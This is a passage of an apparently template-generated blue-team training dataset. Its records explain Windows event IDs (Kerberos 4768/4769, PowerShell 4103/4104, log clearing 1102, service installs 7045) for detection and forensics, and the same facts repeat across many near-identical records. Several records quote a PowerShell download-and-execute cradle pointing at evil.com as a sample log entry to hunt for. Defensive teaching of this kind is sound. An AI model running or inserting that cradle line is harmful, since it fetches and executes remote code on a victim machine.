requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\n2. Apply the tool:\n```\nTargetUserName: serviceaccount\nServiceName: MSSQLSvc/sql.domain.com:1433\nTicketEncryptionType: 0x17 (RC4)\nIpAddress: 192.168.1.100\n```\n\n3. Common scenarios: Detect Kerberoasting, Identify AS-REP roasting, Monitor golden tickets\n\n4. Best practices:\n - Many 4769 with RC4 = Kerberoasting\n - 4768 with PreAuth disabled = AS-REP roasting", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017555Z", "updated_at": "2025-12-18T00:11:32.017555Z"} +{"id": "trtp-0f0df951167c", "instruction": "When should I use Windows Event Log versus other similar tools?", "output": "Advantages of Windows Event Log:\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\nBest suited for:\n- Detect Kerberoasting\n- Identify AS-REP roasting\n- Monitor golden tickets\n- Track lateral movement\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017568Z", "updated_at": "2025-12-18T00:11:32.017568Z"} +{"id": "trtp-56e0341f5b52", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 4768 logs TGT requests (AS-REQ), 4769 logs service ticket requests (TGS-REQ). Essential for detecting Kerberoasting, AS-REP roasting, and golden ticket attacks.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4768-4769---kerberos-authentication", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017421Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017582Z", "updated_at": "2025-12-18T00:11:32.017582Z"} +{"id": "trtp-12e569befb12", "instruction": "Describe Event ID 4103/4104 - PowerShell Logging.", "output": "Event ID 4103/4104 - PowerShell Logging\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\nPlatform: windows\n\nCommon uses:\n- Detect malicious PowerShell\n- Decode obfuscated commands\n- Track fileless malware\n- Identify cradles and downloaders", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017808Z", "updated_at": "2025-12-18T00:11:32.017808Z"} +{"id": "trtp-ccd1784573d5", "instruction": "How do I use Windows Event Log?", "output": "Syntax for Windows Event Log:\n\nEventID=4103 OR EventID=4104\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017823Z", "updated_at": "2025-12-18T00:11:32.017823Z"} +{"id": "trtp-338d05644ac5", "instruction": "How would I use Windows Event Log for Detect malicious PowerShell?", "output": "Example of Event ID 4103/4104 - PowerShell Logging:\n\n```\nScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\nScriptBlockId: {guid}\nPath: C:\\Users\\admin\\script.ps1\n```\n\nInterpretation: ScriptBlockText contains deobfuscated script content", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017835Z", "updated_at": "2025-12-18T00:11:32.017835Z"} +{"id": "trtp-b6258a07314e", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Detect malicious PowerShell\n- Decode obfuscated commands\n- Track fileless malware\n- Identify cradles and downloaders\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017847Z", "updated_at": "2025-12-18T00:11:32.017847Z"} +{"id": "trtp-be4cf1ebfd34", "instruction": "How do I read Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nScriptBlockText contains deobfuscated script content\n\nExample output:\n```\nScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\nScriptBlockId: {guid}\nPath: C:\\Users\\admin\\script.ps1\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017858Z", "updated_at": "2025-12-18T00:11:32.017858Z"} +{"id": "trtp-4e09ff19d6c7", "instruction": "What best practices should I follow when using Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- 4104 shows actual executed code\n- Enable via GPO: Turn on PowerShell Script Block Logging\n- Look for IEX, Invoke-Expression, Download patterns\n\nUseful for: Detect malicious PowerShell, Decode obfuscated commands, Track fileless malware", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017870Z", "updated_at": "2025-12-18T00:11:32.017870Z"} +{"id": "trtp-cab7dd0fb288", "instruction": "What should I look for when using Windows Event Log for incident response?", "output": "Using Windows Event Log for threat detection:\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\nExample:\n```\nScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\nScriptBlockId: {guid}\nPath: C:\\Users\\admin\\script.ps1\n```\n\nTips:\n- 4104 shows actual executed code\n- Enable via GPO: Turn on PowerShell Script Block Logging", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017883Z", "updated_at": "2025-12-18T00:11:32.017883Z"} +{"id": "trtp-c7cd89b002f1", "instruction": "What evidence can Windows Event Log help uncover?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\nForensic applications:\n- Detect malicious PowerShell\n- Decode obfuscated commands\n- Track fileless malware\n\nWhat to look for: ScriptBlockText contains deobfuscated script content", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017895Z", "updated_at": "2025-12-18T00:11:32.017895Z"} +{"id": "trtp-701af114b727", "instruction": "How do I incorporate Windows Event Log into my security workflow?", "output": "Workflow for Event ID 4103/4104 - PowerShell Logging:\n\n1. Understand the context: Event 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\n2. Apply the tool:\n```\nScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')\nScriptBlockId: {guid}\nPath: C:\\Users\\admin\\script.ps1\n```\n\n3. Common scenarios: Detect malicious PowerShell, Decode obfuscated commands, Track fileless malware\n\n4. Best practices:\n - 4104 shows actual executed code\n - Enable via GPO: Turn on PowerShell Script Block Logging", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017909Z", "updated_at": "2025-12-18T00:11:32.017909Z"} +{"id": "trtp-2efb0cca0fea", "instruction": "What makes Windows Event Log useful for this task?", "output": "Advantages of Windows Event Log:\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\nBest suited for:\n- Detect malicious PowerShell\n- Decode obfuscated commands\n- Track fileless malware\n- Identify cradles and downloaders\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017923Z", "updated_at": "2025-12-18T00:11:32.017923Z"} +{"id": "trtp-1e274bdf7f24", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 4103 logs PowerShell module logging, 4104 logs script block logging. These capture PowerShell commands even when obfuscated or encoded.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-4103-4104---powershell-logging", "license": "original", "retrieved_at": "2025-12-18T00:11:32.017786Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.017937Z", "updated_at": "2025-12-18T00:11:32.017937Z"} +{"id": "trtp-8d6b778b7367", "instruction": "Explain Windows Event Log for security professionals.", "output": "Event ID 1102 - Audit Log Cleared\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\nPlatform: windows\n\nCommon uses:\n- Detect anti-forensics\n- Identify cover-up attempts\n- Monitor admin abuse\n- Trigger incident response", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018136Z", "updated_at": "2025-12-18T00:11:32.018136Z"} +{"id": "trtp-b1a575c6c962", "instruction": "What is the syntax for Windows Event Log?", "output": "Syntax for Windows Event Log:\n\nEventID=1102\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018149Z", "updated_at": "2025-12-18T00:11:32.018149Z"} +{"id": "trtp-37b4b586de93", "instruction": "Demonstrate Event ID 1102 - Audit Log Cleared with an example.", "output": "Example of Event ID 1102 - Audit Log Cleared:\n\n```\nSubjectUserName: Administrator\nSubjectDomainName: CORP\nSubjectLogonId: 0x3e7\n```\n\nInterpretation: SubjectUserName=who cleared the log", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018160Z", "updated_at": "2025-12-18T00:11:32.018160Z"} +{"id": "trtp-6f45871bb5d1", "instruction": "In what scenarios is Windows Event Log useful?", "output": "Use cases for Windows Event Log:\n\n- Detect anti-forensics\n- Identify cover-up attempts\n- Monitor admin abuse\n- Trigger incident response\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018172Z", "updated_at": "2025-12-18T00:11:32.018172Z"} +{"id": "trtp-ef5c8cdec0b7", "instruction": "How do I interpret Windows Event Log output?", "output": "Interpreting Windows Event Log output:\n\nSubjectUserName=who cleared the log\n\nExample output:\n```\nSubjectUserName: Administrator\nSubjectDomainName: CORP\nSubjectLogonId: 0x3e7\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018183Z", "updated_at": "2025-12-18T00:11:32.018183Z"} +{"id": "trtp-40795bdd7314", "instruction": "How can I get the most out of Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- High-fidelity indicator of compromise\n- Forward logs to SIEM before clearance\n- Almost never legitimate in production\n\nUseful for: Detect anti-forensics, Identify cover-up attempts, Monitor admin abuse", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018195Z", "updated_at": "2025-12-18T00:11:32.018195Z"} +{"id": "trtp-705f924b6b3f", "instruction": "What indicators does Windows Event Log help identify?", "output": "Using Windows Event Log for threat detection:\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\nExample:\n```\nSubjectUserName: Administrator\nSubjectDomainName: CORP\nSubjectLogonId: 0x3e7\n```\n\nTips:\n- High-fidelity indicator of compromise\n- Forward logs to SIEM before clearance", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018208Z", "updated_at": "2025-12-18T00:11:32.018208Z"} +{"id": "trtp-968543442c3c", "instruction": "How do forensic investigators use Windows Event Log?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\nForensic applications:\n- Detect anti-forensics\n- Identify cover-up attempts\n- Monitor admin abuse\n\nWhat to look for: SubjectUserName=who cleared the log", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018220Z", "updated_at": "2025-12-18T00:11:32.018220Z"} +{"id": "trtp-a26038caa161", "instruction": "What is the typical workflow for using Windows Event Log?", "output": "Workflow for Event ID 1102 - Audit Log Cleared:\n\n1. Understand the context: Event 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\n2. Apply the tool:\n```\nSubjectUserName: Administrator\nSubjectDomainName: CORP\nSubjectLogonId: 0x3e7\n```\n\n3. Common scenarios: Detect anti-forensics, Identify cover-up attempts, Monitor admin abuse\n\n4. Best practices:\n - High-fidelity indicator of compromise\n - Forward logs to SIEM before clearance", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018234Z", "updated_at": "2025-12-18T00:11:32.018234Z"} +{"id": "trtp-eca330b635aa", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\nBest suited for:\n- Detect anti-forensics\n- Identify cover-up attempts\n- Monitor admin abuse\n- Trigger incident response\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018248Z", "updated_at": "2025-12-18T00:11:32.018248Z"} +{"id": "trtp-b2f498135288", "instruction": "How do I use Windows Event Log alongside other tools in my toolkit?", "output": "Integration points for Windows Event Log:\n\nEvent 1102 logs when the Security event log is cleared. This is a common anti-forensics technique by attackers to cover their tracks.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-1102---audit-log-cleared", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018115Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018261Z", "updated_at": "2025-12-18T00:11:32.018261Z"} +{"id": "trtp-f184685c2f12", "instruction": "What do I need to know about Windows Event Log?", "output": "Event ID 7045 - Service Installation\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\nPlatform: windows\n\nCommon uses:\n- Detect PsExec usage\n- Identify malicious services\n- Monitor persistence\n- Track lateral movement", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018468Z", "updated_at": "2025-12-18T00:11:32.018468Z"} +{"id": "trtp-73bce430036d", "instruction": "What command or query syntax does Windows Event Log use?", "output": "Syntax for Windows Event Log:\n\nEventID=7045 (System Log)\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018491Z", "updated_at": "2025-12-18T00:11:32.018491Z"} +{"id": "trtp-23ff854f4b7e", "instruction": "Demonstrate Event ID 7045 - Service Installation with an example.", "output": "Example of Event ID 7045 - Service Installation:\n\n```\nServiceName: PSEXESVC\nImagePath: %SystemRoot%\\PSEXESVC.exe\nServiceType: user mode service\nStartType: demand start\nAccountName: LocalSystem\n```\n\nInterpretation: ImagePath=binary location, StartType=when service starts, AccountName=service account", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018503Z", "updated_at": "2025-12-18T00:11:32.018503Z"} +{"id": "trtp-8773ece5d9b3", "instruction": "What security tasks can I accomplish with Windows Event Log?", "output": "Use cases for Windows Event Log:\n\n- Detect PsExec usage\n- Identify malicious services\n- Monitor persistence\n- Track lateral movement\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018516Z", "updated_at": "2025-12-18T00:11:32.018516Z"} +{"id": "trtp-4556710d0cec", "instruction": "What do the results from Windows Event Log mean?", "output": "Interpreting Windows Event Log output:\n\nImagePath=binary location, StartType=when service starts, AccountName=service account\n\nExample output:\n```\nServiceName: PSEXESVC\nImagePath: %SystemRoot%\\PSEXESVC.exe\nServiceType: user mode service\nStartType: demand start\nAccountName: LocalSystem\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018527Z", "updated_at": "2025-12-18T00:11:32.018527Z"} +{"id": "trtp-22cff8f7baeb", "instruction": "What are common tips for Windows Event Log?", "output": "Tips for using Windows Event Log:\n\n- PSEXESVC = PsExec lateral movement\n- Services in temp dirs are suspicious\n- Watch for encoded commands in ImagePath\n\nUseful for: Detect PsExec usage, Identify malicious services, Monitor persistence", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018540Z", "updated_at": "2025-12-18T00:11:32.018540Z"} +{"id": "trtp-af4c50369f4b", "instruction": "What indicators does Windows Event Log help identify?", "output": "Using Windows Event Log for threat detection:\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\nExample:\n```\nServiceName: PSEXESVC\nImagePath: %SystemRoot%\\PSEXESVC.exe\nServiceType: user mode service\nStartType: demand start\nAccountName: LocalSystem\n```\n\nTips:\n- PSEXESVC = PsExec lateral movement\n- Services in temp dirs are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018553Z", "updated_at": "2025-12-18T00:11:32.018553Z"} +{"id": "trtp-495543da0d2c", "instruction": "How do forensic investigators use Windows Event Log?", "output": "Forensic analysis with Windows Event Log:\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\nForensic applications:\n- Detect PsExec usage\n- Identify malicious services\n- Monitor persistence\n\nWhat to look for: ImagePath=binary location, StartType=when service starts, AccountName=service account", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018565Z", "updated_at": "2025-12-18T00:11:32.018565Z"} +{"id": "trtp-e0aec20718a6", "instruction": "What is the typical workflow for using Windows Event Log?", "output": "Workflow for Event ID 7045 - Service Installation:\n\n1. Understand the context: Event 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\n2. Apply the tool:\n```\nServiceName: PSEXESVC\nImagePath: %SystemRoot%\\PSEXESVC.exe\nServiceType: user mode service\nStartType: demand start\nAccountName: LocalSystem\n```\n\n3. Common scenarios: Detect PsExec usage, Identify malicious services, Monitor persistence\n\n4. Best practices:\n - PSEXESVC = PsExec lateral movement\n - Services in temp dirs are suspicious", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018579Z", "updated_at": "2025-12-18T00:11:32.018579Z"} +{"id": "trtp-62f58f7c7487", "instruction": "What are the advantages of Windows Event Log for security analysis?", "output": "Advantages of Windows Event Log:\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\nBest suited for:\n- Detect PsExec usage\n- Identify malicious services\n- Monitor persistence\n- Track lateral movement\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018593Z", "updated_at": "2025-12-18T00:11:32.018593Z"} +{"id": "trtp-d54184f50b99", "instruction": "Can Windows Event Log be combined with other analysis methods?", "output": "Integration points for Windows Event Log:\n\nEvent 7045 in System log records new service installations with more detail than 4697. Logs service name, path, type, and start mode.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-windows_events-event-id-7045---service-installation", "license": "original", "retrieved_at": "2025-12-18T00:11:32.018447Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.018607Z", "updated_at": "2025-12-18T00:11:32.018607Z"} +{"id": "trtp-83fd209509f9", "instruction": "Describe Event Forwarding (WEF).", "output": "Event Forwarding (WEF)\n\nWindows Event Forwarding (WEF) collects events from multiple endpoints to a central collector. Uses subscriptions to define which events to forward. Essential for enterprise log 